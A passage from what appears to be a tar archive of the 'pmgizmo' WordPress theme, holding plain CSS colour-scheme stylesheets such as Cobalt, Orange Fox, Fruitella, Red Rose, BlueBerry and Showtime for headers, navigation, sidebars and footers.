   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #a20700;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #30190e;
	border-top: 5px solid #695451;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #695451;
}
#footer-widgets .widgettitle {
    background: #5f0500;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #4b2613;
	background: #180a03;
}
/* LOL to Top */
.scrollToTop {
    background: #30190e;
}
.scrollToTop:hover {
    background: #850303;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #292320;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #6c4640;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #777777;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #695451;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #292320;
	}
}pmgizmo/css/styles/cobalt.css000064400000013776152223213640012335 0ustar00/*
Predefined Colors
Theme: Cobalt
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active{
    color: #3B5998;
}
.entry p a:link,
.entry p a:visited {
    color: #3B5998;
    text-decoration: none;
}
.entry p a:hover {
    color: #3B5998;
    text-decoration: underline;
}
.post-title a:link,
.post-title a:visited {
    color: #444;
}
.post-title a:hover {
    color: #3B5998;
}
.page-title, .post-title {
    color: #3c3c3c;
}
/* Body */
body {
    background-color: #E3E3E3;
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #373C3D;
    background: #85919E -webkit-gradient(linear, left top, left bottom, from(#373C3D), to(#85919E)) no-repeat;
    background: #85919E -moz-linear-gradient(top, #373C3D, #85919E) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#373C3D, endColorstr=#85919E) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#373C3D, endColorstr=#85919E)" no-repeat;
}
.natty #header-wrap {
    border-top: 1px solid #515151;
}
.header-line {
    border-top: 15px solid #1d1d1d;
    border-bottom: 1px solid #515151;
}
.natty .header-line {
    border-top: none;
    border-bottom: 1px solid #6a6a6a;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #B23600;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #f9f9f9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #323232;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    color: #fff;
    background: #A20E01;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
    background: #0144a2;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #282828;
}
#topnav-menu .current_page_item:hover,
#topnav-menu .current-menu-item:hover,
.natty #topnav-menu .current_page_item:hover,
.natty #topnav-menu .current-menu-item:hover {
    color: #fff;
    background: #3B5998;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background-color: #3d3d3d;
}
/* Search */
.search-form-top {
    background-color: #fff;
}
/* Main Navigation */
#navi-wrap {
    background: #0144a2;
    border-top: none;
    border-bottom: 2px solid #1c5ab2;
}
.natty #navi-wrap,
.stickynav {
    background: #0144a2;
    border-top: 2px solid #1c5ab2;
    border-bottom: 2px solid #1c5ab2;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #A20E01;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #3d3d3d;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #002e8d;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
    color: #f9f9f9;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#footer-widgets .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
    background: #0144a2;
}
.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
    background: #0144A2;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #05283b;
    border-top: 5px solid #3c6477;
}
#footer-widgets .widget {
    background: #dde2d8;
    border: 5px solid #3c6477;
}
#footer-widgets .widgettitle {
    padding: 0.55em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #0e3c55;
    background: #051319;
}
/* LOL to Top */
.scrollToTop {
    background: #3d3d3d;
}
.scrollToTop:hover {
    background: #3B5998;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header .menu-toggle {
        color: #f9f9f9;
        border-bottom: none;
    }
    #header #navi-wrap {
        border: none;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #1273ac;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #314d02;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #444;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #234f85;
    }
}pmgizmo/css/styles/orangefox.css000064400000010572152223213640013050 0ustar00/*
Predefined Colors
Theme: Orange Fox
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #4878a8;
}
/* Body */
body {
    background-color: #F4EFE6;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #781800;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #5f1604;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #5f1604;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #3E131A;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #781800;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #3E131A;
}
/* Main Navigation */
#navi-wrap {
	background: #3E131A;
	border-bottom: 3px solid #937C80;
}
.natty #navi-wrap {
	background: #3E131A;
	border-top: 1px solid #937C80;
	border-bottom: 1px solid #937C80;
}
.stickynav {
	background: #3E131A;
	border-top: 1px solid #2f1015;
	border-bottom: 1px solid #2f1015;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #a74205;
    background: #f07830 -webkit-gradient(linear, left top, left bottom, from(#a74205), to(#f07830)) no-repeat;
    background: #f07830 -moz-linear-gradient(top, #a74205, #f07830) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#a74205, endColorstr=#f07830) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#a74205, endColorstr=#a74205)" no-repeat;
}
.header-line {
	border-top: 15px solid #732c01;
	border-bottom: 1px solid #aa5c2d;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #3E131A;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #3E131A;
	border: 1px solid #32608e;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #5a1200;
	border-top: 5px solid #e6712a;
}
#footer-widgets .widget {
    background: #f4e3d9;
    border: 5px solid #e6712a;
}
#footer-widgets .widgettitle {
    background: #3E131A;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #75303b;
	background-color: #3e131a;
}
/* LOL to Top */
.scrollToTop {
    background: #ac4608;
    border: 4px solid #8f3803;
}
.scrollToTop:hover {
    background: #631400;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #5f1604;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/fruitella.css000064400000012571152223213640013050 0ustar00/*
Predefined Colors
Theme: Fruitella
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #821040;
}
/* Body */
body {
    background-color: #e7dacd;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #211e1c;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #9f154f;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #121212;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #159F20;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #881244;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #15949F;
}
/* Search */
.search-form-top {
    background-color: #211e1c;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #9f154f;
}
/* Main Navigation */
#navi-wrap {
	background: #9f154f;
	border-top: none;
	border-bottom: 4px solid #520324;
}
.natty #navi-wrap {
	background: #9f154f;
	border-top: 3px solid #700f37;
	border-bottom: 3px solid #700f37;
}
.stickynav { 
	background: #9f154f;
	border-top: 2px solid #700f37;
	border-bottom: 2px solid #700f37;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #65159F;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #480220;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #65159F;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #381e29;
    background: #b487aa -webkit-gradient(linear, left top, left bottom, from(#4a2937), to(#b487aa)) no-repeat;
    background: #b487aa -moz-linear-gradient(top, #4a2937, #b487aa) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#4a2937, endColorstr=#b487aa) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#4a2937, endColorstr=#b487aa)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #5c3646;
}
.header-line {
	border-top: 15px solid #28111b;
	border-bottom: 1px solid #614752;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #9f154f;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #9f9287;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #9f154f;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #9F154F;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #800D3D;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #2a2227;
	border-top: 5px solid #7a6c73;
}
#footer-widgets .widget {
    background: #e5dad1;
    border: 5px solid #7a6c73;
}
#footer-widgets .widgettitle {
    background: #211e1c;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #41383e;
	background: #131818;
}
/* LOL to Top */
.scrollToTop {
	background: #9F154F;
}
.scrollToTop:hover {
    background: #15949F;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #9f154f;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #7a0b3a;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #480220;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #211e1c;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #9f154f;
	}
}pmgizmo/css/styles/redrose.css000064400000010607152223213640012522 0ustar00/*
Predefined Colors
Theme: Red Rose
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #791718;
}
/* Body */
body {
    background-color: #E9E4E3;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #036303;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #015401;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #015401;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #036303;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #791718;
}
/* Main Navigation */
#navi-wrap {
	background: #791718;
	border-bottom: 4px solid #d9b7b6;
}
.natty #navi-wrap {
	background: #791718;
	border-top: 1px solid #d9b7b6;
	border-bottom: 1px solid #d9b7b6;
}
.stickynav {
	background: #791718;
	border-top: 1px solid #550c0d;
	border-bottom: 1px solid #550c0d;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #7a2c30;
    background: #fe3942 -webkit-gradient(linear, left top, left bottom, from(#7a2c30), to(#fe3942)) no-repeat;
    background: #fe3942 -moz-linear-gradient(top, #7a2c30, #fe3942) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#7a2c30, endColorstr=#fe3942) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#7a2c30, endColorstr=#7a2c30)" no-repeat;
}
.header-line {
	border-top: 15px solid #5f1011;
	border-bottom: 1px solid #a74041;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #791718;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #036303;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #791718;
	border-top: 5px solid #fe3942;
}
#footer-widgets .widget {
    background: #e9cece;
    border: 5px solid #ff5888;
}
#footer-widgets .widgettitle {
    background: #036303;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #348424;
	background-color: #004300;
}
/* LOL to Top */
.scrollToTop {
    background: #791718;
    border: 4px solid #410707;
}
.scrollToTop:hover {
    background: #004300;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #015401;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/blueberry.css000064400000012647152223213640013060 0ustar00/*
Predefined Colors
Theme: BlueBerry
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #3e3da3;
}
/* Body */
body {
    background: #e0d2bc;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #51518c;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #301c0f;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #4a4a83;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #a01203;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #301c0f;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #a01203;
}
/* Search */
.search-form-top {
    background-color: #51518c;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #301c0f;
}
/* Main Navigation */
#navi-wrap {
	background: #301c0f;
	border-top: none;
	border-bottom: 4px solid #80614e;
}
.stickynav,
.natty #navi-wrap {
	background: #301c0f;
	border-top: 2px solid #483021;
	border-bottom: 2px solid #483021;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #7e0909;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #4a3222;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #7e0909;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #393a9f;
    background: #8483e9 -webkit-gradient(linear, left top, left bottom, from(#393a9f), to(#8483e9)) no-repeat;
    background: #8483e9 -moz-linear-gradient(top, #393a9f, #8483e9) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#393a9f, endColorstr=#8483e9) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#393a9f, endColorstr=#8483e9)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #4b4cc4;
}
.header-line {
	border-top: 15px solid #1c1b4f;
	border-bottom: 1px solid #595085;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #a01203;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #6c6c9e;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #51518c;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.entry .more-link:hover {
	background-color: #301c0f;
}
#commentform #submit {
	background: #51518c;
}
#commentform #submit:hover {
	background: #301c0f;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #16256c;
	border-top: 5px solid #7a8ad4;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #7a8ad4;
}
#footer-widgets .widgettitle {
    background: #292971;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul,
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
.search-form .search-submit,
#commentform #submit {
	background: #51518C;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background: #000029;
}
/* LOL to Top */
.scrollToTop {
    background: #3e3da3;
}
.scrollToTop:hover {
    background: #301c0f;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #301c0f;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #7e0909;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #4a3222;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #51518c;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #301C0F;
	}
}pmgizmo/css/styles/showtime.css000064400000010607152223213640012716 0ustar00/*
Predefined Colors
Theme: Showtime
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #d1deee;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #104386;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #08346e;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #08346e;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #104386;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #4f82e7;
}
/* Main Navigation */
#navi-wrap {
	background: #4f82e7;
	border-bottom: 4px solid #f5ede3;
}
.natty #navi-wrap {
	background: #4f82e7;
	border-top: 1px solid #5da5f1;
	border-bottom: 1px solid #5da5f1;
}
.stickynav {
	background: #4f82e7;
	border-top: 1px solid #5da5f1;
	border-bottom: 1px solid #5da5f1;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #793407;
    background: #fa8b42 -webkit-gradient(linear, left top, left bottom, from(#793407), to(#fa8b42)) no-repeat;
    background: #fa8b42 -moz-linear-gradient(top, #793407, #fa8b42) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#793407, endColorstr=#fa8b42) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#793407, endColorstr=#793407)" no-repeat;
}
.header-line {
	border-top: 15px solid #5a2501;
	border-bottom: 1px solid #92430f;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #6699ff;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
